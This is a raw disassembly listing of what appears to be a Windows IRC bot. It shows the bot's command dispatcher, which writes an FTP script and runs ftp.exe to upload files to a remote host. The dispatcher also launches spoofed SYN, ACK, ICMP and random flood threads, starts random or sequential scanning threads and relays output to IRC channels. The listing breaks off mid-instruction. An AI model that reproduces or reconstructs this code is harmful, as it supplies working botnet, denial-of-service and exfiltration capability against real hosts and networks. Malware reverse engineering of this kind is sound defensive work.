--------------------------------------------------------------------------- loc_40C802: ; CODE XREF: .nsp0:0040C6A7j push dword ptr [ebp+18h] push offset aUtil_httpcon ; "util.httpcon" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40C9D3 push dword ptr [ebp+18h] push offset aUtil_hcon ; "util.hcon" call sub_412310 pop ecx test eax, eax pop ecx jz loc_40C9D3 mov esi, [ebp+esi-80h] cmp esi, ebx jz loc_40A7B4 push dword ptr [ebp+18h] push offset aFtp_upload ; "ftp.upload" call sub_412310 pop ecx test eax, eax pop ecx jnz loc_40F7D2 push 4 push esi call sub_40966A pop ecx test eax, eax pop ecx jnz short loc_40C8A8 push esi push offset dword_42EB4C loc_40C867: ; CODE XREF: .nsp0:0040CB85j ; .nsp0:0040D139j ... lea eax, [ebp-2C8h] push eax call sub_411EEE add esp, 0Ch loc_40C876: ; CODE XREF: .nsp0:0040CB69j ; .nsp0:0040D11Dj ... cmp [ebp-8], ebx jnz short loc_40C897 push ebx push dword ptr [ebp-4] loc_40C87F: ; CODE XREF: .nsp0:0040D74Cj lea eax, [ebp-2C8h] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] loc_40C88F: ; CODE XREF: .nsp0:0040EE84j call sub_40F9F1 add esp, 14h loc_40C897: ; CODE XREF: .nsp0:0040C879j ; .nsp0:0040CCB8j ... lea eax, [ebp-2C8h] push eax call sub_408E17 jmp loc_40F95F ; --------------------------------------------------------------------------- loc_40C8A8: ; CODE XREF: .nsp0:0040C85Fj call dword_41D048 ; GetTickCount push eax call sub_411F40 pop ecx call sub_411F4A push 9 cdq pop ecx idiv ecx push edx call sub_411F4A push 63h cdq pop ecx idiv ecx push edx call sub_411F4A cdq mov ecx, 3E7h idiv ecx lea eax, [ebp-0C9Ch] push edx push eax lea eax, [ebp-0B98h] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_411EEE lea eax, [ebp-0B98h] push offset aAb ; "ab" push eax call sub_4125E8 add esp, 20h cmp eax, ebx mov [ebp+2Ch], eax jz loc_40A7B4 push esi push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+20h] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_412596 push dword ptr [ebp+2Ch] call sub_412540 lea eax, [ebp-0B98h] push eax lea eax, [ebp-3E4h] push offset aSS_4 ; "-s:%s" push eax call sub_411EEE add esp, 2Ch lea eax, [ebp-3E4h] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_433A3C ; ShellExecuteA test eax, eax push edi push esi jz short loc_40C972 push offset dword_42EAD0 jmp short loc_40C977 ; --------------------------------------------------------------------------- loc_40C972: ; CODE XREF: .nsp0:0040C969j push offset dword_42EA90 loc_40C977: ; CODE XREF: .nsp0:0040C970j call sub_411EEE add esp, 0Ch cmp [ebp-8], ebx jnz short loc_40C9A0 push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 add esp, 14h loc_40C9A0: ; CODE XREF: .nsp0:0040C982j lea eax, [ebp-2C8h] push eax call sub_408E17 loc_40C9AC: ; CODE XREF: .nsp0:0040C9D1j lea eax, [ebp-0B98h] push 4 push eax call sub_40966A add esp, 0Ch test eax, eax jz loc_40A7B4 lea eax, [ebp-0B98h] push eax call sub_414103 jmp short loc_40C9AC ; --------------------------------------------------------------------------- loc_40C9D3: ; CODE XREF: .nsp0:0040C813j ; .nsp0:0040C82Aj push dword ptr [ebp+esi-80h] push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+20h] call sub_41245F pop ecx push eax push edi push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40516F jmp loc_40F7CF ; --------------------------------------------------------------------------- loc_40CA01: ; CODE XREF: .nsp0:0040C679j ; .nsp0:0040C690j mov esi, 80h push edi lea eax, [ebp-680h] push esi push eax call sub_41246A lea eax, [ebp-680h] push eax push offset aSyn ; "syn" call sub_412310 add esp, 14h test eax, eax jz short loc_40CA64 lea eax, [ebp-680h] push eax push offset aAck ; "ack" call sub_412310 pop ecx test eax, eax pop ecx jz short loc_40CA64 lea eax, [ebp-680h] push eax push offset aRandom ; "random" call sub_412310 pop ecx test eax, eax pop ecx jz short loc_40CA64 push offset dword_42EA54 jmp loc_40EF8A ; --------------------------------------------------------------------------- loc_40CA64: ; CODE XREF: .nsp0:0040CA2Aj ; .nsp0:0040CA41j ... push dword ptr [ebp+10h] call sub_41245F cmp eax, ebx pop ecx mov [ebp-578h], eax jle loc_40CB8A push edi lea eax, [ebp-680h] push esi push eax call sub_41246A push dword ptr [ebp+20h] lea eax, [ebp-700h] push esi push eax call sub_41246A push dword ptr [ebp+8] call sub_41245F mov [ebp-57Ch], eax xor eax, eax cmp [ebp-9A2h], bl push dword ptr [ebp-8Ch] setnz al mov [ebp-574h], eax mov eax, [ebp+0Ch] mov [ebp-704h], eax lea eax, [ebp-600h] push esi push eax call sub_41246A mov eax, [ebp-4] add esp, 28h cmp [ebp-574h], ebx mov [ebp-570h], eax mov eax, [ebp-8] mov [ebp-56Ch], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_40CAFB mov eax, offset aNormal ; "Normal" loc_40CAFB: ; CODE XREF: .nsp0:0040CAF4j push dword ptr [ebp+10h] push dword ptr [ebp+8] push dword ptr [ebp+20h] push edi push eax push offset dword_42E9FC lea eax, [ebp-2C8h] push 200h push eax call sub_41246A push ebx lea eax, [ebp-2C8h] push 0Ch push eax call sub_41199A add esp, 2Ch mov [ebp-580h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-704h] push ebx push eax push offset loc_401BD6 push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-580h] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40CB79 loc_40CB63: ; CODE XREF: .nsp0:0040CB77j cmp [ebp-568h], ebx jnz loc_40C876 push 32h call dword_41D05C ; Sleep jmp short loc_40CB63 ; --------------------------------------------------------------------------- loc_40CB79: ; CODE XREF: .nsp0:0040CB61j call dword_41D06C ; RtlGetLastWin32Error push eax push offset dword_42E9B0 jmp loc_40C867 ; --------------------------------------------------------------------------- loc_40CB8A: ; CODE XREF: .nsp0:0040CA75j push offset dword_42E964 jmp loc_40EF8A ; --------------------------------------------------------------------------- loc_40CB94: ; CODE XREF: .nsp0:0040C634j ; .nsp0:0040C64Bj ... cmp dword_433BB8, ebx mov esi, [ebp+0Ch] jnz loc_40CC9C mov eax, [ebp-8] push 7Fh mov [ebp-2ECh], eax mov eax, [ebp-4] mov [ebp-2F0h], eax lea eax, [ebp-384h] push edi push eax call sub_413710 push dword ptr [ebp+20h] call sub_41245F push dword ptr [ebp+8] mov [ebp-304h], eax call sub_41245F push dword ptr [ebp+10h] mov [ebp-300h], eax call sub_41245F push 7Fh mov [ebp-2FCh], eax push dword ptr [ebp-8Ch] lea eax, [ebp-404h] push eax call sub_413710 push dword ptr [ebp-2FCh] lea eax, [ebp-384h] mov [ebp-408h], esi push dword ptr [ebp-300h] push eax lea eax, [ebp-2C8h] push dword ptr [ebp-304h] push offset unk_42E908 push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push 0Eh push eax call sub_41199A add esp, 48h mov [ebp-2F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-408h] push ebx push eax push offset sub_4080EB push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-2F4h] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40CC8B loc_40CC79: ; CODE XREF: .nsp0:0040CC89j cmp [ebp-2E8h], ebx jnz short loc_40CCB5 push 32h call dword_41D05C ; Sleep jmp short loc_40CC79 ; --------------------------------------------------------------------------- loc_40CC8B: ; CODE XREF: .nsp0:0040CC77j call dword_41D06C ; RtlGetLastWin32Error push eax push offset unk_42E8BC jmp loc_40D845 ; --------------------------------------------------------------------------- loc_40CC9C: ; CODE XREF: .nsp0:0040CB9Dj push 1FFh lea eax, [ebp-2C8h] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_413710 loc_40CCB2: ; CODE XREF: .nsp0:0040D851j add esp, 0Ch loc_40CCB5: ; CODE XREF: .nsp0:0040CC7Fj ; .nsp0:0040CDC6j ... cmp [ebp-8], ebx jnz loc_40C897 push ebx push dword ptr [ebp-4] jmp loc_40EE76 ; --------------------------------------------------------------------------- loc_40CCC7: ; CODE XREF: .nsp0:0040C5EFj ; .nsp0:0040C606j ... mov eax, [ebp-8] push 7Fh mov [ebp-2ECh], eax mov eax, [ebp-4] mov [ebp-2F0h], eax lea eax, [ebp-384h] push edi push eax call sub_413710 push dword ptr [ebp+20h] call sub_41245F push dword ptr [ebp+8] mov [ebp-304h], eax call sub_41245F push dword ptr [ebp+10h] mov [ebp-300h], eax call sub_41245F mov esi, [ebp+esi-80h] add esp, 18h cmp esi, ebx mov [ebp-2FCh], eax jz short loc_40CD2C push esi call sub_41245F pop ecx mov [ebp-2F8h], eax jmp short loc_40CD32 ; --------------------------------------------------------------------------- loc_40CD2C: ; CODE XREF: .nsp0:0040CD1Bj mov [ebp-2F8h], ebx loc_40CD32: ; CODE XREF: .nsp0:0040CD2Aj push 7Fh lea eax, [ebp-404h] push dword ptr [ebp-8Ch] push eax call sub_413710 push dword ptr [ebp-2FCh] mov esi, [ebp+0Ch] lea eax, [ebp-384h] mov [ebp-408h], esi push dword ptr [ebp-300h] push eax lea eax, [ebp-2C8h] push dword ptr [ebp-304h] push offset dword_42E848 push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push 0Fh push eax call sub_41199A add esp, 30h mov [ebp-2F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-408h] push ebx push eax push offset loc_408277 push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-2F4h] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40CDD6 loc_40CDC0: ; CODE XREF: .nsp0:0040CDD4j cmp [ebp-2E8h], ebx jnz loc_40CCB5 push 32h call dword_41D05C ; Sleep jmp short loc_40CDC0 ; --------------------------------------------------------------------------- loc_40CDD6: ; CODE XREF: .nsp0:0040CDBEj call dword_41D06C ; RtlGetLastWin32Error push eax push offset dword_42E7FC jmp loc_40D845 ; --------------------------------------------------------------------------- loc_40CDE7: ; CODE XREF: .nsp0:0040C5C1j ; .nsp0:0040C5D8j push 8 call sub_411BE2 push dword ptr [ebp+20h] mov [ebp+18h], eax call sub_41245F add eax, [ebp+18h] pop ecx pop ecx cmp eax, 12Ch jle short loc_40CE3A push dword ptr [ebp+18h] lea eax, [ebp-2C8h] push offset dword_42E7A8 push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 loc_40CE32: ; CODE XREF: .nsp0:0040E263j add esp, 20h jmp loc_40F7D2 ; --------------------------------------------------------------------------- loc_40CE3A: ; CODE XREF: .nsp0:0040CE03j push edi call sub_41245F push dword ptr [ebp+20h] mov [ebp-31Ch], eax call sub_41245F push dword ptr [ebp+8] mov [ebp-304h], eax call sub_41245F add esp, 0Ch cmp eax, 1 mov [ebp-318h], eax jnb short loc_40CE73 push 1 pop eax mov [ebp-318h], eax loc_40CE73: ; CODE XREF: .nsp0:0040CE68j push 3Ch pop ecx cmp eax, ecx jbe short loc_40CE80 mov [ebp-318h], ecx loc_40CE80: ; CODE XREF: .nsp0:0040CE78j push dword ptr [ebp+10h] call sub_41245F cmp eax, 1F4h pop ecx mov [ebp-314h], eax jbe short loc_40CEA0 mov dword ptr [ebp-314h], 1F4h loc_40CEA0: ; CODE XREF: .nsp0:0040CE94j or dword ptr [ebp-300h], 0FFFFFFFFh cmp dword_422880, ebx mov [ebp+10h], ebx jz short loc_40CEF6 mov dword ptr [ebp+2Ch], offset dword_422880 loc_40CEB9: ; CODE XREF: .nsp0:0040CED8j mov eax, [ebp+2Ch] push edi add eax, 0FFFFFFD8h push eax call sub_412310 pop ecx test eax, eax pop ecx jz short loc_40CEDC add dword ptr [ebp+2Ch], 3Ch inc dword ptr [ebp+10h] mov eax, [ebp+2Ch] cmp [eax], ebx jnz short loc_40CEB9 jmp short loc_40CEF6 ; --------------------------------------------------------------------------- loc_40CEDC: ; CODE XREF: .nsp0:0040CECAj mov eax, [ebp+10h] mov ecx, eax mov [ebp-300h], eax imul ecx, 3Ch mov ecx, dword_422880[ecx] mov [ebp-31Ch], ecx loc_40CEF6: ; CODE XREF: .nsp0:0040CEB0j ; .nsp0:0040CEDAj cmp [ebp-31Ch], ebx jz loc_40EB99 mov edi, [ebp+esi-80h] cmp edi, ebx mov [ebp+20h], edi jz short loc_40CF3D cmp byte ptr [edi], 23h jz short loc_40CF3D push edi lea eax, [ebp-430h] push 10h push eax call sub_41246A push 78h push edi call sub_414140 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp-2F0h], eax jmp loc_40D011 ; --------------------------------------------------------------------------- loc_40CF3D: ; CODE XREF: .nsp0:0040CF0Bj ; .nsp0:0040CF10j cmp [ebp-9B3h], bl jnz short loc_40CF5F cmp [ebp-9B2h], bl jnz short loc_40CF5F cmp [ebp-9A2h], bl jnz short loc_40CF5F push offset dword_42E75C jmp loc_40EF8A ; --------------------------------------------------------------------------- loc_40CF5F: ; CODE XREF: .nsp0:0040CF43j ; .nsp0:0040CF4Bj ... push 10h lea eax, [ebp+8] pop edi push eax lea eax, [ebp-2D8h] push eax mov [ebp+8], edi push dword ptr [ebp+0Ch] call dword_433A6C ; getsockname mov al, [ebp-9B3h] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp-2D4h], eax push dword ptr [ebp-2D4h] call dword_433B54 ; inet_ntoa push eax lea eax, [ebp-430h] push eax call sub_413710 add esp, 0Ch cmp [ebp-9A2h], bl jz short loc_40D00B xor eax, eax cmp [ebp-9B3h], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp-430h] push eax call sub_413A10 pop ecx cmp edi, ebx pop ecx mov [ebp+2Fh], bl jle short loc_40CFFF loc_40CFDD: ; CODE XREF: .nsp0:0040CFFDj cmp eax, ebx jz short loc_40CFFF mov byte ptr [eax], 78h lea eax, [ebp-430h] push 30h push eax call sub_413A10 inc byte ptr [ebp+2Fh] pop ecx pop ecx movsx ecx, byte ptr [ebp+2Fh] cmp ecx, edi jl short loc_40CFDD loc_40CFFF: ; CODE XREF: .nsp0:0040CFDBj ; .nsp0:0040CFDFj mov dword ptr [ebp-2F0h], 1 jmp short loc_40D011 ; --------------------------------------------------------------------------- loc_40D00B: ; CODE XREF: .nsp0:0040CFB5j mov [ebp-2F0h], ebx loc_40D011: ; CODE XREF: .nsp0:0040CF38j ; .nsp0:0040D009j mov eax, [ebp+0Ch] push dword ptr [ebp-8Ch] mov [ebp-320h], eax mov eax, [ebp-4] mov [ebp-2F8h], eax mov eax, [ebp-8] mov [ebp-2F4h], eax mov edi, 80h lea eax, [ebp-420h] push edi push eax call sub_41246A mov esi, [ebp+esi-7Ch] add esp, 0Ch cmp esi, ebx jz short loc_40D062 loc_40D04F: ; CODE XREF: .nsp0:0040D085j push esi loc_40D050: ; CODE XREF: .nsp0:0040D06Fj lea eax, [ebp-3A0h] push edi push eax call sub_41246A add esp, 0Ch jmp short loc_40D08D ; --------------------------------------------------------------------------- loc_40D062: ; CODE XREF: .nsp0:0040D04Dj mov eax, [ebp+20h] cmp eax, ebx jz short loc_40D071 cmp byte ptr [eax], 23h jnz short loc_40D071 push eax jmp short loc_40D050 ; --------------------------------------------------------------------------- loc_40D071: ; CODE XREF: .nsp0:0040D067j ; .nsp0:0040D06Cj mov esi, offset dword_425C00 push offset byte_432708 push esi call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40D04F mov [ebp-3A0h], bl loc_40D08D: ; CODE XREF: .nsp0:0040D060j cmp [ebp-2F0h], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_40D09F mov eax, offset aSequential ; "Sequential" loc_40D09F: ; CODE XREF: .nsp0:0040D098j push dword ptr [ebp-304h] lea ecx, [ebp-430h] push dword ptr [ebp-314h] push dword ptr [ebp-318h] push dword ptr [ebp-31Ch] push ecx push eax lea eax, [ebp-2C8h] push offset dword_42E6D0 push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push 8 push eax call sub_41199A add esp, 2Ch mov [ebp-310h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-430h] push ebx push eax push offset sub_405FF1 push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-310h] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40D12D loc_40D117: ; CODE XREF: .nsp0:0040D12Bj cmp [ebp-2ECh], ebx jnz loc_40C876 push 32h call dword_41D05C ; Sleep jmp short loc_40D117 ; --------------------------------------------------------------------------- loc_40D12D: ; CODE XREF: .nsp0:0040D115j call dword_41D06C ; RtlGetLastWin32Error push eax push offset dword_42E684 jmp loc_40C867 ; --------------------------------------------------------------------------- loc_40D13E: ; CODE XREF: .nsp0:0040C581j ; .nsp0:0040C598j push edi call sub_41245F imul eax, 234h pop ecx cmp byte_438C70[eax], bl jz loc_40F7D2 cmp [ebp-0Ch], ebx jz loc_40F7D2 push dword ptr [ebp+20h] call sub_4126F0 push edi mov esi, eax call sub_4126F0 push dword ptr [ebp+18h] add esi, eax call sub_4126F0 add eax, [ebp-0Ch] push dword ptr [ebp+8] lea eax, [eax+esi+2] push eax call sub_4124C0 mov esi, eax lea eax, [ebp-2C8h] push esi push offset dword_42E678 push eax call sub_411EEE add esp, 20h cmp esi, ebx jz loc_40F7D2 push edi call sub_41245F test eax, eax pop ecx jle loc_40F7D2 push edi call sub_41245F cmp eax, 12Ch pop ecx jge loc_40F7D2 push ebx lea eax, [ebp-2C8h] push ebx push eax push dword ptr [ebp+20h] push edi call sub_41245F imul eax, 234h pop ecx push dword_438C64[eax] call sub_40F9F1 push edi call sub_41245F imul eax, 234h add esp, 18h cmp byte ptr dword_438A58[eax], 73h jnz loc_40F7D2 push esi push edi call sub_41245F imul eax, 234h pop ecx add eax, offset byte_438C70 push eax push dword ptr [ebp+20h] push offset aSSS_1 ; "[%s] * %s %s" loc_40D226: ; CODE XREF: .nsp0:0040D323j lea eax, [ebp-2C8h] push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 loc_40D24B: ; CODE XREF: .nsp0:0040F052j add esp, 28h jmp loc_40F7D2 ; --------------------------------------------------------------------------- loc_40D253: ; CODE XREF: .nsp0:0040C553j ; .nsp0:0040C56Aj push edi call sub_41245F imul eax, 234h pop ecx cmp byte_438C70[eax], bl jz loc_40F7D2 cmp [ebp-0Ch], ebx jz loc_40F7D2 push dword ptr [ebp+20h] call sub_4126F0 push edi mov esi, eax call sub_4126F0 push dword ptr [ebp+18h] add esi, eax call sub_4126F0 add eax, [ebp-0Ch] push dword ptr [ebp+8] lea eax, [eax+esi+2] push eax call sub_4124C0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_40F7D2 push edi call sub_41245F test eax, eax pop ecx jle loc_40F7D2 push edi call sub_41245F cmp eax, 12Ch pop ecx jge loc_40F7D2 push ebx push ebx push esi push dword ptr [ebp+20h] push edi call sub_41245F imul eax, 234h pop ecx push dword_438C64[eax] call sub_40F9F1 push edi call sub_41245F imul eax, 234h add esp, 18h cmp byte ptr dword_438A58[eax], 73h jnz loc_40F7D2 push esi push edi call sub_41245F imul eax, 234h pop ecx add eax, offset byte_438C70 push eax push dword ptr [ebp+20h] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_40D226 ; --------------------------------------------------------------------------- loc_40D328: ; CODE XREF: .nsp0:0040C525j ; .nsp0:0040C53Cj push edi call dword_433B08 ; inet_addr push dword ptr [ebp+20h] mov [ebp-460h], eax call sub_41245F push dword ptr [ebp+8] mov [ebp-46Ch], eax call sub_41245F mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-8Ch] mov [ebp-468h], eax lea eax, [ebp-4ECh] mov [ebp-4F0h], esi push eax call sub_413710 add esp, 14h mov edi, [ebp-4] mov eax, [ebp-8] mov [ebp-458h], edi push dword ptr [ebp-468h] mov [ebp-454h], eax push dword ptr [ebp-46Ch] push dword ptr [ebp-460h] call dword_433B54 ; inet_ntoa push eax lea eax, [ebp-2C8h] push offset unk_42E608 push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push 8 push eax call sub_41199A add esp, 20h mov [ebp-464h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4F0h] push ebx push eax push offset sub_41120E push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-464h] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40D40A loc_40D3F4: ; CODE XREF: .nsp0:0040D408j cmp [ebp-450h], ebx jnz loc_40EE6B push 32h call dword_41D05C ; Sleep jmp short loc_40D3F4 ; --------------------------------------------------------------------------- loc_40D40A: ; CODE XREF: .nsp0:0040D3F2j call dword_41D06C ; RtlGetLastWin32Error push eax push offset unk_42E5B8 jmp loc_40EE5C ; --------------------------------------------------------------------------- loc_40D41B: ; CODE XREF: .nsp0:0040C4F7j ; .nsp0:0040C50Ej push edi call sub_41245F push 7Fh mov [ebp-300h], eax push dword ptr [ebp+20h] lea eax, [ebp-404h] push eax call sub_413710 push dword ptr [ebp+8] call sub_41245F push dword ptr [ebp-8Ch] mov esi, [ebp+0Ch] mov [ebp-304h], eax lea eax, [ebp-384h] push 80h push eax mov [ebp-40Ch], esi call sub_41246A mov eax, [ebp-8] add esp, 20h mov edi, [ebp-4] mov [ebp-2F0h], eax push dword ptr [ebp-304h] lea eax, [ebp-404h] mov [ebp-2F4h], edi push eax push dword ptr [ebp-300h] push esi call sub_408045 pop ecx push eax lea eax, [ebp-2C8h] push offset unk_42E568 push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push 10h push eax call sub_41199A add esp, 24h mov [ebp-2FCh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-40Ch] push ebx push eax push offset sub_406250 push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-2FCh] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40D504 loc_40D4EE: ; CODE XREF: .nsp0:0040D502j cmp [ebp-2ECh], ebx jnz loc_40EE6B push 32h call dword_41D05C ; Sleep jmp short loc_40D4EE ; --------------------------------------------------------------------------- loc_40D504: ; CODE XREF: .nsp0:0040D4ECj call dword_41D06C ; RtlGetLastWin32Error push eax push offset unk_42E514 jmp loc_40EE5C ; --------------------------------------------------------------------------- loc_40D515: ; CODE XREF: .nsp0:0040C4C9j ; .nsp0:0040C4E0j push 0FFh lea eax, [ebp-788h] push edi push eax call sub_413710 push 0FFh lea eax, [ebp-688h] push dword ptr [ebp+20h] push eax call sub_413710 push dword ptr [ebp+8] mov [ebp-584h], ebx call sub_41245F mov [ebp-580h], eax mov eax, [ebp+esi-84h] add esp, 1Ch cmp eax, ebx jz short loc_40D571 push 10h push ebx push eax call sub_413459 add esp, 0Ch mov [ebp-578h], eax jmp short loc_40D577 ; --------------------------------------------------------------------------- loc_40D571: ; CODE XREF: .nsp0:0040D55Bj mov [ebp-578h], ebx loc_40D577: ; CODE XREF: .nsp0:0040D56Fj mov esi, [ebp+esi-80h] cmp esi, ebx jz short loc_40D58E push esi call sub_41245F pop ecx mov [ebp-57Ch], eax jmp short loc_40D594 ; --------------------------------------------------------------------------- loc_40D58E: ; CODE XREF: .nsp0:0040D57Dj mov [ebp-57Ch], ebx loc_40D594: ; CODE XREF: .nsp0:0040D58Cj movzx eax, byte ptr [ebp-9AFh] mov esi, [ebp+0Ch] push 7Fh push dword ptr [ebp-8Ch] mov [ebp-574h], eax lea eax, [ebp-808h] mov [ebp-80Ch], esi push eax call sub_413710 mov eax, [ebp-4] push dword ptr [ebp+20h] mov [ebp-56Ch], eax mov eax, [ebp-8] mov [ebp-570h], eax push edi lea eax, [ebp-2C8h] push offset unk_42E4D4 push eax call sub_411EEE push esi lea eax, [ebp-2C8h] push 15h push eax call sub_41199A add esp, 28h mov [ebp-588h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-80Ch] push ebx push eax push offset loc_40915B push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-588h] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40D642 loc_40D62C: ; CODE XREF: .nsp0:0040D640j cmp [ebp-568h], ebx jnz loc_40CCB5 push 32h call dword_41D05C ; Sleep jmp short loc_40D62C ; --------------------------------------------------------------------------- loc_40D642: ; CODE XREF: .nsp0:0040D62Aj call dword_41D06C ; RtlGetLastWin32Error push eax push offset unk_42E480 jmp loc_40D845 ; --------------------------------------------------------------------------- loc_40D653: ; CODE XREF: .nsp0:0040C49Bj ; .nsp0:0040C4B2j push 7Fh lea eax, [ebp-774h] pop esi push esi push edi push eax call sub_413710 push esi lea eax, [ebp-6F4h] push dword ptr [ebp+20h] push eax call sub_413710 push esi lea eax, [ebp-674h] push dword ptr [ebp+8] push eax call sub_413710 push esi lea eax, [ebp-5F4h] push dword ptr [ebp-8Ch] push eax call sub_413710 mov eax, [ebp-8] push dword ptr [ebp+8] mov esi, [ebp-4] mov [ebp-56Ch], eax mov eax, [ebp+0Ch] push dword ptr [ebp+20h] mov [ebp-778h], eax lea eax, [ebp-2C8h] push edi push offset dword_42E440 push eax mov [ebp-570h], esi call sub_411EEE add esp, 44h lea eax, [ebp-2C8h] push ebx push 0Bh push eax call sub_41199A add esp, 0Ch mov [ebp-574h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-778h] push ebx push eax push offset sub_40182E push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-574h] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40D726 loc_40D714: ; CODE XREF: .nsp0:0040D724j cmp [ebp-568h], ebx jnz short loc_40D741 push 32h call dword_41D05C ; Sleep jmp short loc_40D714 ; --------------------------------------------------------------------------- loc_40D726: ; CODE XREF: .nsp0:0040D712j call dword_41D06C ; RtlGetLastWin32Error push eax lea eax, [ebp-2C8h] push offset dword_42E3F4 push eax call sub_411EEE add esp, 0Ch loc_40D741: ; CODE XREF: .nsp0:0040D71Aj cmp [ebp-8], ebx jnz loc_40C897 push ebx push esi jmp loc_40C87F ; --------------------------------------------------------------------------- loc_40D751: ; CODE XREF: .nsp0:0040C456j ; .nsp0:0040C46Dj ... push 7Fh lea eax, [ebp-7F0h] pop esi push esi push edi push eax call sub_413710 push esi lea eax, [ebp-770h] push dword ptr [ebp+20h] push eax call sub_413710 push esi lea eax, [ebp-6F0h] push dword ptr [ebp+8] push eax call sub_413710 push esi lea eax, [ebp-670h] push dword ptr [ebp-8Ch] push eax call sub_413710 push 20h lea eax, [ebp-5F0h] push dword ptr [ebp+18h] push eax call sub_413710 mov eax, [ebp-4] push dword ptr [ebp+8] mov esi, [ebp+0Ch] mov [ebp-570h], eax mov eax, [ebp-8] push dword ptr [ebp+20h] mov [ebp-56Ch], eax lea eax, [ebp-2C8h] push edi push offset unk_42E3B0 push eax mov [ebp-7F8h], esi call sub_411EEE add esp, 50h lea eax, [ebp-2C8h] push ebx push 0Ah push eax call sub_41199A add esp, 0Ch mov [ebp-7F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-7F8h] push ebx push eax push offset sub_401000 push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-7F4h] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40D839 loc_40D823: ; CODE XREF: .nsp0:0040D837j cmp [ebp-568h], ebx jnz loc_40CCB5 push 32h call dword_41D05C ; Sleep jmp short loc_40D823 ; --------------------------------------------------------------------------- loc_40D839: ; CODE XREF: .nsp0:0040D821j call dword_41D06C ; RtlGetLastWin32Error push eax push offset unk_42E364 loc_40D845: ; CODE XREF: .nsp0:0040CC97j ; .nsp0:0040CDE2j ... lea eax, [ebp-2C8h] push eax call sub_411EEE jmp loc_40CCB2 ; --------------------------------------------------------------------------- loc_40D856: ; CODE XREF: .nsp0:0040C428j ; .nsp0:0040C43Fj push 7Fh lea eax, [ebp-444h] push edi push eax call sub_413710 push dword ptr [ebp+20h] call sub_41245F push 3Fh mov [ebp-2F4h], eax push dword ptr [ebp+8] lea eax, [ebp-3C4h] push eax call sub_413710 mov esi, [ebp+esi-84h] add esp, 1Ch cmp esi, ebx jz short loc_40D8A4 push 3Fh lea eax, [ebp-384h] push esi push eax call sub_413710 add esp, 0Ch loc_40D8A4: ; CODE XREF: .nsp0:0040D890j lea eax, [ebp-3C4h] mov dword ptr [ebp-2F0h], 1 push eax lea eax, [ebp-444h] push dword ptr [ebp-2F4h] push eax lea eax, [ebp-2C8h] push offset unk_42E320 push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push 17h push eax call sub_41199A add esp, 20h mov [ebp-2ECh], eax lea eax, [ebp-10h] push eax lea eax, [ebp-448h] push ebx push eax push offset sub_40A059 push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-2ECh] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40D930 loc_40D91A: ; CODE XREF: .nsp0:0040D92Ej cmp [ebp-2E8h], ebx jnz loc_40E5D4 push 32h call dword_41D05C ; Sleep jmp short loc_40D91A ; --------------------------------------------------------------------------- loc_40D930: ; CODE 